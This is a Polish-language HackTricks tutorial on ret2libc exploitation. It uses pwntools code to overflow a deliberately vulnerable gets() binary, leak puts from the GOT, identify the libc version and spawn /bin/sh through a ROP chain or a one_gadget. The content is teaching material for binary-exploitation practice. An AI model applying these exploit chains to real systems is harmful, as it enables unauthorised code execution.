Wyciekanie adresu libc za pomocą ROP

Reading time: 9 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Szybkie podsumowanie

  1. Znajdź offset przepełnienia
  2. Znajdź gadżet POP_RDI, gadżet PUTS_PLT i gadżet MAIN
  3. Użyj poprzednich gadżetów, aby wyciec adres pamięci funkcji puts lub innej funkcji libc i znaleźć wersję libc (pobierz to)
  4. Z biblioteką, oblicz ROP i wykorzystaj to

Inne samouczki i pliki binarne do ćwiczeń

Ten samouczek będzie wykorzystywał kod/pliki binarne zaproponowane w tym samouczku: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Inne przydatne samouczki: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Nazwa pliku: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Szablon wycieku LIBC

Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik oraz przekaż potrzebne dane do skryptu:

{{#ref}} rop-leaking-libc-template.md {{#endref}}

1- Znalezienie offsetu

Szablon potrzebuje offsetu przed kontynuowaniem exploitacji. Jeśli jakikolwiek zostanie podany, wykona niezbędny kod, aby go znaleźć (domyślnie OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Wykonaj python template.py, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej konsoli GDB wykonaj x/wx $rsp, aby uzyskać bajty, które miały nadpisać RIP. Na koniec uzyskaj offset za pomocą konsoli python:

python
from pwn import *
cyclic_find(0x6161616b)

Po znalezieniu offsetu (w tym przypadku 40) zmień zmienną OFFSET wewnątrz szablonu, używając tej wartości.
OFFSET = "A" * 40

Innym sposobem byłoby użycie: pattern create 1000 -- wykonaj do ret -- pattern seach $rsp z GEF.

2- Znajdowanie Gadżetów

Teraz musimy znaleźć gadżety ROP w binarnym pliku. Te gadżety ROP będą przydatne do wywołania puts, aby znaleźć używaną libc, a później do uruchomienia ostatecznego exploit.

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT jest potrzebny do wywołania funkcji puts.
MAIN_PLT jest potrzebny do ponownego wywołania funkcji main po jednej interakcji, aby wykorzystać przepełnienie ponownie (nieskończone rundy eksploatacji). Jest używany na końcu każdego ROP, aby ponownie wywołać program.
POP_RDI jest potrzebny do przekazania parametru do wywoływanej funkcji.

W tym kroku nie musisz nic wykonywać, ponieważ wszystko zostanie znalezione przez pwntools podczas wykonania.

3- Znalezienie biblioteki libc

Teraz czas, aby znaleźć, która wersja biblioteki libc jest używana. Aby to zrobić, zamierzamy wyciek adresu w pamięci funkcji puts, a następnie zamierzamy wyszukać, w której wersji biblioteki znajduje się wersja puts w tym adresie.

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Aby to zrobić, najważniejsza linia wykonanego kodu to:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

To wyśle kilka bajtów, aż nadpisanie RIP będzie możliwe: OFFSET.
Następnie ustawi adres gadżetu POP_RDI, aby następny adres (FUNC_GOT) został zapisany w rejestrze RDI. Dzieje się tak, ponieważ chcemy wywołać puts, przekazując mu adres PUTS_GOT, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez PUTS_GOT.
Po tym zostanie wywołane PUTS_PLT (z PUTS_GOT wewnątrz RDI), aby puts odczytał zawartość wewnątrz PUTS_GOT (adres funkcji puts w pamięci) i wydrukował go.
Na koniec funkcja main jest wywoływana ponownie, abyśmy mogli ponownie wykorzystać przepełnienie.

W ten sposób oszukaliśmy funkcję puts, aby wydrukowała adres w pamięci funkcji puts (która znajduje się w bibliotece libc). Teraz, gdy mamy ten adres, możemy sprawdzić, która wersja libc jest używana.

Ponieważ eksploatujemy lokalny binarny plik, nie ma potrzeby ustalania, która wersja libc jest używana (po prostu znajdź bibliotekę w /lib/x86_64-linux-gnu/libc.so.6).
Jednak w przypadku zdalnego eksploatującego wyjaśnię tutaj, jak możesz to znaleźć:

3.1- Wyszukiwanie wersji libc (1)

Możesz wyszukać, która biblioteka jest używana na stronie internetowej: https://libc.blukat.me/
Pozwoli to również pobrać odkrytą wersję libc.

3.2- Wyszukiwanie wersji libc (2)

Możesz również zrobić:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

To zajmie trochę czasu, bądź cierpliwy.
Aby to zadziałało, potrzebujemy:

  • Nazwa symbolu libc: puts
  • Wyciekniony adres libc: 0x7ff629878690

Możemy ustalić, która libc jest najprawdopodobniej używana.

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Otrzymujemy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwsze nie działa). Pobierz pierwsze:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Skopiuj libc z libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so do naszego katalogu roboczego.

3.3- Inne funkcje do wycieku

python
puts
printf
__libc_start_main
read
gets

4- Znajdowanie adresu libc opartego na lokalizacji i eksploatacja

Na tym etapie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: /lib/x86_64-linux-gnu/libc.so.6

Na początku template.py zmień zmienną libc na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy

Podając ścieżkę do biblioteki libc, reszta eksploatująca zostanie automatycznie obliczona.

Wewnątrz funkcji get_addr zostanie obliczony adres bazowy libc:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

Zauważ, że ostateczny adres bazy libc musi kończyć się na 00. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę.

Następnie adres funkcji system oraz adres do ciągu "/bin/sh" będą obliczane na podstawie adresu bazy libc i podane bibliotece libc.

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Na koniec przygotowywany jest exploit do wykonania /bin/sh:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Wyjaśnijmy ten ostatni ROP.
Ostatni ROP (rop1) zakończył się ponownym wywołaniem funkcji main, więc możemy ponownie wykorzystać przepełnienie (dlatego OFFSET jest tutaj ponownie). Następnie chcemy wywołać POP_RDI, wskazując na adres "/bin/sh" (BINSH) i wywołać funkcję system (SYSTEM), ponieważ adres "/bin/sh" zostanie przekazany jako parametr.
Na koniec adres funkcji exit jest wywoływany, aby proces ładnie zakończył działanie i nie wygenerował żadnego alertu.

W ten sposób exploit uruchomi powłokę _/bin/sh_**.**

4(2)- Używając ONE_GADGET

Możesz również użyć ONE_GADGET , aby uzyskać powłokę zamiast używać system i "/bin/sh". ONE_GADGET znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego adresu ROP.
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to [rsp+0x30] == NULL. Ponieważ kontrolujesz wartości w RSP, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

PLIK EKSPLOATACYJNY

Możesz znaleźć szablon do wykorzystania tej luki tutaj:

{{#ref}} rop-leaking-libc-template.md {{#endref}}

Typowe problemy

MAIN_PLT = elf.symbols['main'] nie znaleziono

Jeśli symbol "main" nie istnieje. Wtedy możesz znaleźć, gdzie znajduje się główny kod:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

i ustaw adres ręcznie:

python
MAIN_PLT = 0x401080

Puts nie znaleziono

Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa

sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono

Jeśli znajdziesz ten błąd po stworzeniu wszystkich exploitów: sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono

Spróbuj odjąć 64 bajty od adresu "/bin/sh":

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks